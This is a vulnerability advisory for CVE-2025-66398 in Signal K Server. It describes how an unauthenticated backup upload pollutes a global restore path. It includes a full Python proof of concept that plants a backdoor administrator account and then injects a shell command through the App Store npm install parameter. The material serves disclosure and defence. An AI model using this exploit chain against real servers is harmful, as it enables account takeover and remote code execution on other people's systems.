CVE-2025-66398: Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)

Summary An unauthenticated attacker can pollute the internal state (restoreFilePath) of the server via the /skServer/validateBackup endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., security.json, package.json), leading to account takeover and Remote Code Execution (RCE).

Details The vulnerability is caused by the use of a module-level global variable restoreFilePath in src/serverroutes.ts, which is shared across all requests.

Vulnerable Code Analysis: 1. Global State: restoreFilePath is defined at the top level of the module. typescript // src/serverroutes.ts let restoreFilePath: string 2. Unauthenticated State Pollution: The /skServer/validateBackup endpoint updates this variable. Crucially, this endpoint lacks authentication middleware, allowing any user to access it. typescript app.post(${SERVERROUTESPREFIX}/validateBackup, (req, res) => { // ... handles file upload ... restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path }) 3. Restore Hijacking: The /skServer/restore endpoint uses the polluted restoreFilePath to perform the restoration. typescript app.post(${SERVERROUTESPREFIX}/restore, (req, res) => { // ... const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path // ... })

Exploit Chain: 1. Pollution: Attacker uploads a malicious zip file to /validateBackup. The server saves it and updates restoreFilePath to point to this malicious file. 2. Hijacking: When /restore is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files. 3. Backdoor: The attacker overwrites security.json to add a new administrator account. 4. RCE: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (/skServer/appstore/install/...) to execute arbitrary system commands (e.g., npm install injection).

PoC Here is a complete Python script to reproduce the full exploit chain.

python import requests import zipfile import io import json import time

Configuration TARGETURL = "http://localhost:3000" BACKDOORUSER = "hacker" BACKDOORPASS = "hacked1234"

def step1plantbackdoor(): print("[] Step 1: Planting Backdoor via State Pollution...") # 1. Create malicious zip with security.json zipbuffer = io.BytesIO() with zipfile.ZipFile(zipbuffer, 'w') as z: # Add backdoor admin user securityconfig = { "users": [{ "username": BACKDOORUSER, "password": BACKDOORPASS, "permissions": "admin" }] } z.writestr("security.json", json.dumps(securityconfig)) # Enable security to make the backdoor effective z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}})) zipbuffer.seek(0)

# 2. Pollute State (Unauthenticated) print(" [+] Sending malicious backup to /validateBackup...") res = requests.post(f"{TARGETURL}/skServer/validateBackup", files={'file': ('malicious.zip', zipbuffer, 'application/zip')}) if res.statuscode != 200: print(" [-] Failed to pollute state.") return False

# 3. Trigger Restore (Hijacking) print(" [+] Triggering restore to overwrite server config...") # Note: In a real attack, if /restore is protected, attacker waits for admin to use it. # Here we assume we can trigger it or security is currently off. res = requests.post(f"{TARGETURL}/skServer/restore", json={"security.json": True, "settings.json": True}) if res.statuscode in [200, 202]: print(" [+] Restore triggered successfully. Backdoor planted.") print(" [!] PLEASE RESTART THE SERVER to load the new configuration.") return True else: print(f" [-] Restore failed: {res.statuscode} {res.text}") return False

def step2executerce(): print("\n[] Step 2: Executing RCE as Backdoor User...") # 1. Login session = requests.Session() loginpayload = {"username": BACKDOORUSER, "password": BACKDOORPASS} res = session.post(f"{TARGETURL}/signalk/v1/auth/login", json=loginpayload) if res.statuscode != 200: print(" [-] Login failed. Did you restart the server?") return token = res.json()['token'] print(" [+] Login successful. Authenticated as Admin.")

# 2. RCE Payload (Windows Example) # Injecting command into version parameter of npm install # Command: echo RCESUCCESS > rceproof.txt cmdpayload = "1.0.0 & echo RCESUCCESS > rceproof.txt &" # We need a valid package name to bypass existence check packagename = "@signalk/freeboard-sk" print(f" [+] Sending RCE payload: {cmdpayload}") headers = {'Authorization': f'Bearer {token}'} try: session.post(f"{TARGETURL}/skServer/appstore/install/{packagename}/{cmdpayload}", headers=headers, timeout=5) except: pass # Timeout is expected as the command might hang or take time

print(" [+] Payload sent. Check for 'rceproof.txt' in server root.")

if name == "main": # Run Step 1, then restart server manually, then Run Step 2 # step1plantbackdoor() step2executerce()

Impact Remote Code Execution (RCE), Account Takeover, Denial of Service. Verified: RCE is demonstrated by creating a file named rceproof.txt containing the text "RCESUCCESS" on the server filesystem using the exploit chain.